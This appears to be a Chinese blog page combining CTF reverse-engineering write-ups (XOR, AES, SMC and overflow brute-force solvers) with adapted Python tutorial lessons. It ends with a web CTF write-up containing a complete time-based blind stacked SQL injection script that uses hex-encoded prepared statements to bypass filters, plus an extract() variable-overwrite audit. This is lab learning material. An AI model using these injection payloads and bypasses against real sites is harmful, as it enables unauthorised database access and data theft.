0%

1

链接:https://pan.baidu.com/s/1lZr8Cqf8FOuwOU-x2J3yVQ
提取码:myh6

知识点总结: ​ 🚦

AES逆向加密

ECB模式 平均分组 每组互不干扰

CBC模式 平均分组 改明文和前一个密文异或之后再进行加密 所以需要一个初始化数组对第一组异或

一般来说AES加密前会调用一个函数对密匙进行拓展 然后才会处理明

0X01 查看有无加壳 🍖

0

没有加壳,64位文件

0x02 使用IDA64打开文件 🔑

  • 找到main函数, F5 反编译,进行代码分析

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [sp+8h] [bp-48h]@4
char s; // [sp+20h] [bp-30h]@1
__int64 v5; // [sp+48h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
__isoc99_scanf("%39s", &s, a3);
if ( (unsigned int)strlen(&s) != 32 ) //输入的长度为32
{
puts("Wrong!");
exit(0);
}
mprotect((void *)0x400000, 0xF000uLL, 7); //修改文件为可读可执行
for ( i = 0; i <= 223; ++i ) //SMC自修改代码,异或0x99
*((_BYTE *)sub_402219 + i) ^= 0x99u;
sub_40207B(&unk_603170, 61440LL);
sub_402219();
}
  • sub_4022190函数有异或,我们查看

3

  • 选中后我们按 C 强制( Force )分析代码

4

使用Findecrypt插件查看一下加密算法发现很多加密

  • 我们查看sub_40207B()函数

5

MD5加密,第10行和14行的MD5加密有用
内容大体将base64密码表进行两次sub_401CF9加密然后赋值给参数a1
这里没有用到用户输入,可以动调一下获得加密后的a1
IDA先在sub_40207B()函数执行后一条下断点

**0x03 写个脚本做循环对比就行了 ** ​ 🎅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Cipher import AES
from Crypto.Util.number import *

f = open('so.in')
a = ''
for i in range(2):
s = f.readline()
for j in range(16):
a += chr(int(s[j*3:j*3+2],16))
b = ''
s = f.readline()
for j in range(16):
b += chr(int(s[j*3:j*3+2],16))
print a,b
_aes = AES.new(b,mode = AES.MODE_ECB)
print _aes.decrypt(a)

so.in内容

1
2
3
BC 0A AD C0 14 7C 5E CC E0 B1 40 BC 9C 51 D5 2B
46 B2 B9 43 4D E5 32 4B AD 7F B4 B3 9C DB 4B 5B
CB 8D 49 35 21 B4 7A 4C C1 AE 7E 62 22 92 66 CE

从零考试学习python内容 99%来自于python大神 python-jack的知乎文章 再结合本人的实际情况进行学习,严格来说这是JACK老师的内容,只不过再此基础上,我增添了一些我在CTF解题过程中遇到的python脚本实际情况,再次感谢JACK老师

学习的内容来自于:https://zhuanlan.zhihu.com/p/126324262

第010课:函数和字符串的应用

前面两节课,我们介绍了函数和字符串。在讲解今天的内容之前,先来回答一个可能会让大家感到费解的问题:为什么字符串类型(str)可以通过调用方法的方式进行操作,而之前我们用到的数值类型(如intfloat)却没有可以调用的方法。在Python中,数值类型是标量类型,也就是说这种类型的变量没有可以访问的内部结构;而字符串类型是一种结构化的、非标量类型,所以才会有一系列的方法可供调用。如果对这一点感到困惑,那就继续学习吧,等学习完面向对象编程的知识后,你就能找到这些问题的答案了。

一些案例

**例子1:设计一个生成指定长度验证码的函数。 🅰️ **

说明:验证码由数字和英文大小写字母构成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import random

ALL_CHARS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'


def generate_code(code_len=4):
"""生成指定长度的验证码
:param code_len: 验证码的长度(默认4个字符)
:return: 由大小写英文字母和数字构成的随机验证码字符串
"""
code = ''
for _ in range(code_len):
# 产生0到字符串长度减1范围的随机数作为索引
index = random.randrange(0, len(ALL_CHARS))
# 利用索引运算从字符串中取出字符并进行拼接
code += ALL_CHARS[index]
return code

我们用下面的代码生成10组随机验证码来测试上面的函数( 没有下面的代码就无法运行 )。

1
2
for _ in range(10):
print(generate_code())

0

上面的函数其实还有一种更为简单的写法,直接利用random模块的随机抽样函数从字符串中取出指定数量的字符,然后利用字符串的join方法将选中的那些字符拼接起来。此外,可以利用Python标准库中的string 模块来获得数字和英文字母的字面常量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import random
import string

ALL_CHARS = string.digits + string.ascii_letters


def generate_code(code_len=4):
"""生成指定长度的验证码
:param code_len: 验证码的长度(默认4个字符)
:return: 由大小写英文字母和数字构成的随机验证码字符串
"""
return ''.join(random.choices(ALL_CHARS, k=code_len))
for _ in range(10):
print(generate_code())

1

说明random模块的samplechoices函数都可以实现随机抽样,sample实现无放回抽样,这意味着抽样取出的字符是不重复的;choices实现有放回抽样,这意味着可能会重复选中某些字符。这两个函数的第一个参数代表抽样的总体,而参数k代表抽样的数量。

例子2:设计一个函数返回给定文件名的后缀名。 🅱️

说明:文件名通常是一个字符串,而文件的后缀名指的是文件名中最后一个.后面的部分,也称为文件的扩展名,它是某些操作系统用来标记文件类型的一种机制,例如在Windows系统上,后缀名exe表示这是一个可执行程序,而后缀名txt表示这是一个纯文本文件。需要注意的是,在Linux和macOS系统上,文件名可以以.开头,表示这是一个隐藏文件,像.gitignore这样的文件名,.后面并不是后缀名,这个文件没有后缀名或者说后缀名为''

1
2
3
4
5
6
7
8
9
def get_suffix(filename):
"""获取文件名的后缀名
:param filename: 文件名
:return: 文件的后缀名
"""
# 从字符串中逆向查找.出现的位置
pos = filename.rfind('.')
# 通过切片操作从文件名中取出后缀名
return filename[pos + 1:] if pos > 0 else ''

可以用下面的代码对上面的函数做一个简单的测验。

1
2
3
4
5
print(get_suffix('readme.txt'))       # txt
print(get_suffix('readme.txt.md')) # md
print(get_suffix('.readme')) #
print(get_suffix('readme.')) #
print(get_suffix('readme')) #

2

上面的get_suffix函数还有一个更为便捷的实现方式,就是直接使用os.path模块的splitext函数,这个函数会将文件名拆分成带路径的文件名和扩展名两个部分,然后返回一个二元组(下节课会讲到元组),二元组中的第二个元素就是文件的后缀名(包含.),如果要去掉后缀名中的.,可以做一个字符串的切片操作,代码如下所示。

1
2
3
4
5
from os.path import splitext


def get_suffix(filename):
return splitext(filename)[1][1:]

例子3:在终端中显示跑马灯(滚动)文字。 🐱

说明:实现跑马灯文字的原理非常简单,把当前字符串的第一个字符放到要输出的内容的最后面,把从第二个字符开始后面的内容放到要输出的内容的最前面,通过循环重复这个操作,就可以看到滚动起来的文字。两次循环之间的间隔可以通过time模块的sleep函数来实现,而清除屏幕上之前的输出可以使用os模块的system函数调用系统清屏命令来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
import time

content = '北 京 欢 迎 你 为 你 开 天 辟 地 '
while True:
# Windows清除屏幕上的输出
# os.system('cls')
# macOS清除屏幕上的输出
os.system('clear')
print(content)
# 休眠0.2秒(200毫秒)
time.sleep(0.2)
content = content[1:] + content[0]

4

提示:我们之前建议大家暂时用VS Code来编写Python代码,如果你已经提前开始使用PyCharm了,需要提醒大家,PyCharm的运行窗口无法用上面的方式做清屏处理。建议在“命令行提示符”或“终端”(PyCharm中的“Terminal”相当于就是Windows系统的“命令行提示符”或macOS系统的“终端”)中运行该程序。

简单的总结 🏤

在写代码尤其是开发商业项目的时候,一定要有意识的将相对独立且重复出现的功能封装成函数,这样不管是自己还是团队的其他成员都可以通过调用函数的方式来使用这些功能。字符串是非常重要的数据类型,字符串的常用运算和方法需要掌握,因为一般的商业项目中,处理字符串比处理数值的操作要更多。

0x01 使用EP查看文件是否加壳 🔑

2

没有加壳,32位文件


0x02 使用IDA32位打开文件 📉

1

Shift + F12 查找关键函数,然后F5反编译

8

第十九行可知v0和byte_4212c0进行异或,得到byte_41EA08输出正确

直接进入byte_41EA08函数查看内容

得到异或内容

1
a="MSAWB~FXZ:J:`tQJ\"N@ bpdd}8g"

0x03 开始构建异或脚本 ​ 🔨

1
2
3
4
5
a = "MSAWB~FXZ:J:`tQJ\"N@ bpdd}8g"
flag = ''
for i in range(len(a)):
flag += chr(i ^ord(a[i]))
print(flag)

3

1
MRCTF{@_R3@1ly_E2_R3verse!}

从零考试学习python内容 99%来自于python大神 python-jack的知乎文章 再结合本人的实际情况进行学习,严格来说这是JACK老师的内容,只不过再此基础上,我增添了一些我在CTF解题过程中遇到的python脚本实际情况,再次感谢JACK老师

学习的内容来自于:https://zhuanlan.zhihu.com/p/123384479

字符串的定义

所谓字符串,就是由零个或多个字符组成的有限序列,一般记为:

[公式]

在Python程序中,如果我们把单个或多个字符用 单引号 或者 双引号 包围起来,就可以表示一个字符串。字符串中的字符可以是特殊符号、英文字母、中文字符、日文的平假名或片假名、希腊字母、Emoji字符等。

1
2
3
4
5
6
7
8
9
s1 = 'hello, world!'
s2 = "你好,世界!"
print(s1, s2)
# 以三个双引号或单引号开头的字符串可以折行
s3 = '''
hello,
world!
'''
print(s3, end='')

提示print函数中的end=''表示输出后不换行,即将默认的结束符\n(换行符)更换为''(空字符)。


转义字符和原始字符串

可以在字符串中使用\(反斜杠)来表示转义,也就是说\后面的字符不再是它原来的意义,例如:\n不是代表反斜杠和字符n,而是表示换行;\t也不是代表反斜杠和字符t,而是表示制表符。所以如果字符串本身又包含了'"\这些特殊的字符,必须要通过\进行转义处理。例如需要一个带单引号或反斜杠的字符串,可以用如下所示的方法进行处理。

1
2
3
4
5
6
# 头尾带单引号的hello, world!
s1 = '\'hello, world!\''
print(s1)
# 头尾带反斜杠的hello, world!
s2 = '\\hello, world!\\'
print(s2)

0

Python中的字符串可以rR开头,这种字符串被称为原始字符串,意思是字符串中的每个字符都是它本来的含义,没有所谓的转义字符。例如,在字符串'hello\n'中,\n表示换行;而在r'hello\n'中,\n不再表示换行,就是反斜杠和字符n。大家可以运行下面的代码,看看会输出什么。

1
2
3
4
5
6
# 字符串s1中\t是制表符,\n是换行符
s1 = '\time up \now'
print(s1)
# 字符串s2中没有转义字符,每个字符都是原始含义
s2 = r'\time up \now'
print(s2)

1

Python中还允许在\后面还可以跟一个八进制或者十六进制数来表示字符,例如\141\x61都代表小写字母a,前者是八进制的表示法,后者是十六进制的表示法。另外一种表示字符的方式是在\u后面跟Unicode字符编码,例如\u9a86\u660a代表的是中文“骆昊”。运行下面的代码,看看输出了什么。

1
2
3
s1 = '\141\142\143\x61\x62\x63'
s2 = '\u9a86\u660a'
print(s1, s2)

字符串的运算

Python为字符串类型提供了非常丰富的运算符,我们可以使用+运算符来实现字符串的拼接,可以使用*运算符来重复一个字符串的内容,可以使用innot in来判断一个字符串是否包含另外一个字符串,我们也可以用[][:]运算符从字符串取出某个字符或某些字符。

拼接和重复

下面的例子演示了使用+*运算符来实现字符串的拼接和重复操作。

1
2
3
4
5
6
7
8
s1 = 'hello' + ' ' + 'world'
print(s1) # hello world
s2 = '!' * 3
print(s2) # !!!
s1 += s2 # s1 = s1 + s2
print(s1) # hello world!!!
s1 *= 2 # s1 = s1 * 2
print(s1) # hello world!!!hello world!!!

2

*实现字符串的重复是非常有意思的一个运算符,在很多编程语言中,要表示一个有10个a的字符串,你只能写成"aaaaaaaaaa",但是在Python中,你可以写成'a' * 10。你可能觉得"aaaaaaaaaa"这种写法也没有什么不方便的,那么想一想,如果字符a要重复100次或者1000次又会如何呢?

比较运算

对于两个字符串类型的变量,可以直接使用比较运算符比较两个字符串的相等性或大小。需要说明的是,因为字符串在计算机内存中也是以二进制形式存在的,那么字符串的大小比较比的是每个字符对应的编码的大小。例如A的编码是65, 而a的编码是97,所以'A' < 'a'的结果相当于就是65 < 97的结果,很显然是True;而'boy' < 'bad',因为第一个字符都是'b'比不出大小,所以实际比较的是第二个字符的大小,显然'o' < 'a'的结果是False,所以'boy' < 'bad'的结果也是False。如果不清楚两个字符对应的编码到底是多少,可以使用ord函数来获得,例如ord('A')的值是65,而ord('昊')的值是26122。下面的代码为大家展示了字符串的比较运算。

1
2
3
4
5
6
7
8
9
10
11
s1 = 'a whole new world'
s2 = 'hello world'
print(s1 == s2, s1 < s2) # False True
print(s2 == 'hello world') # True
print(s2 == 'Hello world') # False
print(s2 != 'Hello world') # True
s3 = '骆昊'
print(ord('骆'), ord('昊')) # 39558 26122
s4 = '王大锤'
print(ord('王'), ord('大'), ord('锤')) # 29579 22823 38180
print(s3 > s4, s3 <= s4) # True False

3

需要强调一下的是,字符串的比较运算比较的是字符串的内容,Python中还有一个is运算符(身份运算符),如果用is来比较两个字符串,它比较的是两个变量对应的字符串是否在内存中相同的位置(内存地址),简单的说就是两个变量是否对应内存中的同一个字符串。看看下面的代码就比较清楚is运算符的作用了。

1
2
3
4
5
6
7
s1 = 'hello world'
s2 = 'hello world'
s3 = s2
# 比较字符串的内容
print(s1 == s2, s2 == s3) # True True
# 比较字符串的内存地址
print(s1 is s2, s2 is s3) # False True

4

成员运算

Python中可以用innot in判断一个字符串中是否存在另外一个字符或字符串,innot in运算通常称为成员运算,会产生布尔值TrueFalse,代码如下所示。

1
2
3
4
s1 = 'hello, world'
print('wo' in s1) # True
s2 = 'goodbye'
print(s2 in s1) # False

5

获取字符串长度

获取字符串长度没有直接的运算符,而是使用内置函数len,我们在上节课的提到过这个内置函数,代码如下所示。

0x01 用EP打开,查看加壳没

0

没有加壳


0x02 用IDA32位打开,F5反编译

3

漏洞的地方只可能是 compare


0x03 分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int compare()
{
char v0; // al@2
unsigned int i; // [sp+0h] [bp-8h]@1
int v3; // [sp+4h] [bp-4h]@1

v3 = 0;
for ( i = 0; buf2[i] + buf1[i] && i < 0x400; ++i )
{
v0 = buf1[i];
if ( v0 != buf2[i] )
return v3 + 1;
if ( v0 == 10 )
++v3;
}
return 0;
}

char型变量占1个字节,相当于unsigned byte,表示范围是0x0-0xff,两个char相加的范围就是0x0 - 0x1fe ,由于char型只能存储1个字节的数据,两个char相加产生的进位就会被忽略。char + char = 溢出 举个栗子,0x7d+0x83=0x100->0x0。

所以如果buf2[i]+buf1[i]=0x100就会 终止 for循环

每次返回一个进行爆破即可

0x04 构造python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from subprocess import *
fix = ''
while 1:
for i in range(0x100):
payload = fix+chr(i)
with open('/tmp/ktql','w+') as f:
f.write(payload)
p = Popen(['/root/diff','/tmp/ktql','/root/flag'],stdout=PIPE)
res = p.stdout.read()
if res != '1':
fix+=chr(0x100-i)
print(fix)
break

从零考试学习python内容 99%来自于python大神 python-jack的知乎文章 再结合本人的实际情况进行学习,严格来说这是JACK老师的内容,只不过再此基础上,我增添了一些我在CTF解题过程中遇到的python脚本实际情况,再次感谢JACK老师

学习的内容来自于:https://zhuanlan.zhihu.com/p/123384479

函数的作用

不知大家是否注意到,上面的代码中我们做了三次求阶乘,虽然mnm - n的值各不相同,但是三段代码并没有实质性的区别,属于重复代码。世界级的编程大师Martin Fowler先生曾经说过:“代码有很多种坏味道,重复是最坏的一种!”。要写出高质量的代码首先要解决的就是重复代码的问题。对于上面的代码来说,我们可以将计算阶乘的功能封装到一个称为“函数”的代码块中,在需要计算阶乘的地方,我们只需要“调用函数”就可以了。

定义函数

数学上的函数通常形如 [公式] 或者 [公式] 这样的形式,在 [公式] 中,f是函数的名字,x是函数的自变量,y是函数的因变量;而 [公式] 中,g是函数名,xy是函数的自变量,z是函数的因变量。Python中的函数跟这个结构是一致的,每个函数都有自己的名字、自变量和因变量。我们通常把Python中函数的自变量称为函数的参数,而因变量称为函数的返回值。

在Python中可以使用def关键字来定义函数,和变量一样每个函数也应该有一个漂亮的名字,命名规则跟变量的命名规则是一致的。在函数名后面的圆括号中可以放置传递给函数的参数,就是我们刚才说到的函数的自变量,而函数执行完成后我们会通过return关键字来返回函数的执行结果,就是我们刚才说的函数的因变量。一个函数要执行的代码块(要做的事情)也是通过缩进的方式来表示的,跟之前分支和循环结构的代码块是一样的。大家不要忘了def那一行的最后面还有一个:,之前提醒过大家,那是在英文输入法状态下输入的冒号。

我们可以通过函数对上面的代码进行重构。**所谓重构,是在不影响代码执行结果的前提下对代码的结构进行调整。**重构之后的代码如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"""
输入M和N计算C(M,N)

Version: 0.1
Author: 骆昊
"""


# 定义函数:def是定义函数的关键字、fac是函数名,num是参数(自变量)
def fac(num):
"""求阶乘"""
result = 1
for n in range(1, num + 1):
result *= n
# 返回num的阶乘(因变量)
return result


m = int(input('m = '))
n = int(input('n = '))
# 当需要计算阶乘的时候不用再写重复代码而是直接调用函数fac
# 调用函数的语法是在函数名后面跟上圆括号并传入参数
print(fac(m) // fac(n) // fac(m - n))

5

0


函数的参数

参数的默认值

如果函数中没有return语句,那么函数默认返回代表空值的None。另外,在定义函数时,函数也可以没有自变量,但是函数名后面的圆括号是必须有的。Python中还允许函数的参数拥有默认值,我们可以把上一课“CRAPS赌博游戏”的摇色子获得点数的功能封装成函数,代码如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
"""
参数的默认值1

Version: 0.1
Author: 骆昊
"""
from random import randint


# 定义摇色子的函数,n表示色子的个数,默认值为2
def roll_dice(n=2):
"""摇色子返回总的点数"""
total = 0
for _ in range(n):
total += randint(1, 6)
return total


# 如果没有指定参数,那么n使用默认值2,表示摇两颗色子
print(roll_dice())
# 传入参数3,变量n被赋值为3,表示摇三颗色子获得点数
print(roll_dice(3))

1

我们再来看一个更为简单的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"""
参数的默认值2

Version: 0.1
Author: 骆昊
"""


def add(a=0, b=0, c=0):
"""三个数相加求和"""
return a + b + c


# 调用add函数,没有传入参数,那么a、b、c都使用默认值0
print(add()) # 0
# 调用add函数,传入一个参数,那么该参数赋值给变量a, 变量b和c使用默认值0
print(add(1)) # 1
# 调用add函数,传入两个参数,1和2分别赋值给变量a和b,变量c使用默认值0
print(add(1, 2)) # 3
# 调用add函数,传入三个参数,分别赋值给a、b、c三个变量
print(add(1, 2, 3)) # 6
# 传递参数时可以不按照设定的顺序进行传递,但是要用“参数名=参数值”的形式
print(add(c=50, a=100, b=200)) # 350

注意:带默认值的参数必须放在不带默认值的参数之后,否则将产生SyntaxError错误,错误消息是:non-default argument follows default argument,翻译成中文的意思是“没有默认值的参数放在了带默认值的参数后面”。

2

可变参数

接下来,我们还可以实现一个对任意多个数求和的add函数,因为Python语言中的函数可以通过星号表达式语法来支持可变参数。所谓可变参数指的是在调用函数时,可以向函数传入0个或任意多个参数。将来我们以团队协作的方式开发商业项目时,很有可能要设计函数给其他人使用,但有的时候我们并不知道函数的调用者会向该函数传入多少个参数,这个时候可变参数就可以派上用场。下面的代码演示了用可变参数实现对任意多个数求和的add函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"""
可变参数

Version: 0.1
Author: 骆昊
"""


# 用星号表达式来表示args可以接收0个或任意多个参数
def add(*args):
total = 0
# 可变参数可以放在for循环中取出每个参数的值
for val in args:
total += val
return total


# 在调用add函数时可以传入0个或任意多个参数
print(add())
print(add(1))
print(add(1, 2))
print(add(1, 2, 3))
print(add(1, 3, 5, 7, 9))

3

用模块管理函数

不管用什么样的编程语言来写代码,给变量、函数起名字都是一个让人头疼的问题,因为我们会遇到命名冲突这种尴尬的情况。最简单的场景就是在同一个.py文件中定义了两个同名的函数,如下所示。

1
2
3
4
5
6
7
8
9
def foo():
print('hello, world!')


def foo():
print('goodbye, world!')


foo() # 大家猜猜调用foo函数会输出什么

4

当然上面的这种情况我们很容易就能避免,但是如果项目是团队协作多人开发的时候,团队中可能有多个程序员都定义了名为foo的函数,这种情况下怎么解决命名冲突呢?答案其实很简单,Python中每个文件就代表了一个模块(module),我们在不同的模块中可以有同名的函数,在使用函数的时候我们通过import关键字导入指定的模块再使用完全限定名的调用方式就可以区分到底要使用的是哪个模块中的foo函数,代码如下所示。

module1.py

1
2
def foo():
print('hello, world!')

module2.py

1
2
def foo():
print('goodbye, world!')

test.py

1
2
3
4
5
6
import module1
import module2

# 用“模块名.函数名”的方式(完全限定名)调用函数,
module1.foo() # hello, world!
module2.foo() # goodbye, world!

在导入模块时,还可以使用as关键字对模块进行别名,这样我们可以使用更为简短的完全限定名。

test.py

1
2
3
4
5
import module1 as m1
import module2 as m2

m1.foo() # hello, world!
m2.foo() # goodbye, world!

上面的代码我们导入了定义函数的模块,我们也可以使用from...import...语法从模块中直接导入需要使用的函数,代码如下所示。

test.py

1
2
3
4
5
6
7
from module1 import foo

foo() # hello, world!

from module2 import foo

foo() # goodbye, world!

但是,如果我们如果从两个不同的模块中导入了同名的函数,后导入的函数会覆盖掉先前的导入,就像下面的代码中,调用foo会输出hello, world!,因为我们先导入了module2foo,后导入了module1foo 。如果两个from...import...反过来写,就是另外一番光景了。

test.py

1
2
3
4
5
from module1 import foo as f1
from module2 import foo as f2

f1() # hello, world!
f2() # goodbye, world!

标准库中的模块和函数

Python标准库中提供了大量的模块和函数来简化我们的开发工作,我们之前用过的random模块就为我们提供了生成随机数和进行随机抽样的函数;而time模块则提供了和时间操作相关的函数;上面求阶乘的函数在Python标准库中的math模块中已经有了,实际开发中并不需要我们自己编写,而math模块中还包括了计算正弦、余弦、指数、对数等一系列的数学函数。随着我们进一步的学习Python编程知识,我们还会用到更多的模块和函数。

Python标准库中还有一类函数是不需要import就能够直接使用的,我们将其称之为内置函数,这些内置函数都是很有用也是最常用的,下面的表格列出了一部分的内置函数。

5

简单的总结

函数是功能相对独立且会重复使用的代码的封装。学会使用定义和使用函数,就能够写出更为优质的代码。当然,Python语言的标准库中已经为我们提供了大量的模块和常用的函数,用好这些模块和函数就能够用更少的代码做更多的事情。

链接:https://pan.baidu.com/s/12-rOdMS1Lyz0Fc-tGxu5hQ
提取码:ex3u

0X01 使用EP查看文件是否有无加壳

0

没有加壳,直接拖到64位IDA上面

0x02 查看sub_10030函数

1

点击进去看看

2

发现是个死循环函数,重复跳转自身


0x02 使用IDA32位打开文件

  • Shift+F12查看直观函数

3

  • F5反编译,发现已经反编译,就无需反编译

4

  • 分析头函数数据

5

  • 分析sub_10030函数,重复跳转自身的死循环,节选后,按住 C 键开始强制汇编( Force

6


0x03 开始分析强制汇编的内容

7


0x04 开始构建脚本与0X1F做异或

1
2
3
4
5
6
a = "]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b"
flag = ''
for i in a:
flag += chr(ord(i)^0x1F)
print(flag)

8

1
BJD{jack_de_hu1b1an_xuede_henHa0}

从零考试学习python内容 99%来自于python大神 python-jack的知乎文章 再结合本人的实际情况进行学习,严格来说这是JACK老师的内容,只不过再此基础上,我增添了一些我在CTF解题过程中遇到的python脚本实际情况,再次感谢JACK老师

学习的内容来自:https://zhuanlan.zhihu.com/p/121188620


for-in循环

如果明确的知道循环执行的次数,我们推荐使用for-in循环,例如计算1到100的和。 被for-in循环控制的语句块也是通过缩进的方式来确定的,这一点跟分支结构完全相同,大家看看下面的代码就明白了。

1
2
3
4
5
6
7
8
9
10
"""
用for循环实现1~100求和

Version: 0.1
Author: 骆昊
"""
total = 0
for x in range(1, 101):
total += x
print(total)

0

需要说明的是上面代码中的range(1, 101)可以用来构造一个从1到100的范围,当我们把这样一个范围放到for-in循环中,就可以通过前面的循环变量x依次取出从1到100的整数。当然,range的用法非常灵活,下面给出了一个例子:

  • range(101):可以用来产生0到100范围的整数,需要注意的是取不到101。
  • range(1, 101):可以用来产生1到100范围的整数,相当于前面是闭区间后面是开区间。
  • range(1, 101, 2):可以用来产生1到100的奇数,其中2是步长,即每次数值递增的值。
  • range(100, 0, -2):可以用来产生100到1的偶数,其中-2是步长,即每次数字递减的值。

知道了这一点,我们可以用下面的代码来实现1~100之间的偶数求和。

1


while循环

如果要构造不知道具体循环次数的循环结构,我们推荐使用while循环。while循环通过一个能够产生或转换出bool值的表达式来控制循环,表达式的值为True则继续循环;表达式的值为False则结束循环。

下面我们通过一个“猜数字”的小游戏来看看如何使用while循环。猜数字游戏的规则是:计算机出一个1到100之间的随机数,玩家输入自己猜的数字,计算机给出对应的提示信息(大一点、小一点或猜对了),如果玩家猜中了数字,计算机提示用户一共猜了多少次,游戏结束,否则游戏继续。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"""
猜数字游戏

Version: 0.1
Author: 骆昊
"""
import random

# 产生一个1-100范围的随机数
answer = random.randint(1, 100)
counter = 0
while True:
counter += 1
number = int(input('请输入: '))
if number < answer:
print('大一点')
elif number > answer:
print('小一点')
else:
print('恭喜你猜对了!')
break
# 当退出while循环的时候显示用户一共猜了多少次
print(f'你总共猜了{counter}次')

3


break和continue

上面的代码中使用while True构造了一个条件恒成立的循环,也就意味着如果不做特殊处理,循环是不会结束的,这也就是常说的“死循环”。为了在用户猜中数字时能够退出循环结构,我们使用了break关键字,它的作用是提前结束循环。需要注意的是,break只能终止它所在的那个循环,这一点在使用嵌套循环结构时需要引起注意,下面的例子我们会讲到什么是嵌套的循环结构。除了break之外,还有另一个关键字是continue,它可以用来放弃本次循环后续的代码直接让循环进入下一轮。


嵌套的循环结构

和分支结构一样,循环结构也是可以嵌套的,也就是说在循环中还可以构造循环结构。下面的例子演示了如何通过嵌套的循环来输出一个乘法口诀表(九九表)

1
2
3
4
5
6
7
8
9
10
"""
打印乘法口诀表

Version: 0.1
Author: 骆昊
"""
for i in range(1, 10):
for j in range(1, i + 1):
print(f'{i}*{j}={i * j}', end='\t')
print()

很显然,在上面的代码中,外层循环用来控制一共会产生9行的输出,而内层循环用来控制每一行会输出多少列。内层循环中的输出就是九九表一行中的所有列,所以在内层循环完成时,有一个print()来实现换行输出的效果。


循环的例子

例子1:输入一个正整数判断它是不是素数。

提示:素数指的是只能被1和自身整除的大于1的整数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
"""
输入一个正整数判断它是不是素数

Version: 0.1
Author: 骆昊
"""
num = int(input('请输入一个正整数: '))
end = int(num ** 0.5)
is_prime = True
for x in range(2, end + 1):
if num % x == 0:
is_prime = False
break
if is_prime and num != 1:
print(f'{num}是素数')
else:
print(f'{num}不是素数')

无论URL还是界面都很有SQL的feeling,,点击注册,发现无法提供注册,使用密码本爆破也失败(应该有过滤)

0

0x01 抓包

  • 我们账号和密码都输入admin,开始发包和抓包

1

界面很容易让人想起SQL注入,由于登陆没反应,我们直接抓包,因为之前堆叠注入做过几道题(buuctf 极客大挑战),还是比较熟悉判断方法

存在堆叠注入的判断方法 : 名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。

根据判断方法,当我们在 username 输入 admin' 或者 admin;' ,提示报错

2

当我们在 username 输入:admin 或者 admin’; 报错消失

我们先引来引入php中的PDO知识点


0x02 先来讲一下什么是PDO

https://xz.aliyun.com/t/3950

https://www.runoob.com/php/php-pdo.html

默认是pdo对象的query语句是能执行有;参与的多语句执行的,那我们就能闭合前面的单引号后进行堆叠注入。


0x03 由于我们没收到特殊回显和被过滤掉了许多关键字。我们构造的脚本考虑采用十六进制加预处理加上时间盲注进行绕过

  • 为什么用十六进制SQL预处理语句+时间盲注来绕过

因为SQL关键字被绕过而且回显并不特别的情况下再加上某些单词如 select,if.sleep 必须使用,盲注考虑后觉得时间盲注可能性比较大

  • 时间盲注思路

select if(ascii(substr((select flag from flag),{0},1))={1},sleep(5),1){0} 猜测字段的长度 , {1} 是32-128的ascii数值(用来盲注爆破)

  • 防止SQL预处理被过滤

    使用16进制

如下

1
2
3
4
mysql> select hex('select sleep(5)');
mysql> set @a=0x73656C65637420736C656570283529;
mysql> prepare test from @a;
mysql> execute test;

select sleep(5) 语句可以让mysql服务休息5秒。这里这四句相当于执行了该语句,从而绕过上传被过滤的字符串。

在SQL测试中发现确实可以执行

通过mysql预处理与hex绕过过滤来过滤脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#author: c1e4r
import requests
import json
import time

def main():
#题目地址
url = '''http://ed59e513-784d-42b5-81d0-2c4dc976d086.node3.buuoj.cn/index.php?r=Login/Index'''
#注入payload
payloads = "admin';set @a=0x{0};prepare b from @a;execute b--+"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
main()

下载获得的源码 URL+glzjin_wants_a_girl_friend.zip


0x04开始对源码进行代码审计

前端应用逻辑的基础在 controller 文件夹下面,而其他文件都是基于 basecontroller.php 所以我们打开 basecontroller.php 文件进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
	private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

extract 传入 viewdata 数组造成变量覆盖,发现利用 loadView 方法的并且第二个元素可控的地方只有 UserController.php

1
2
3
4
5
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

在Controller/UserController.php中,找到可控制的参数$listData,直接来源于$_REQUEST。 由于 $listData = $_REQUEST; 可以控制 到 userIndex.php 文件看看

1
2
3
4
5
6
7
8
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>

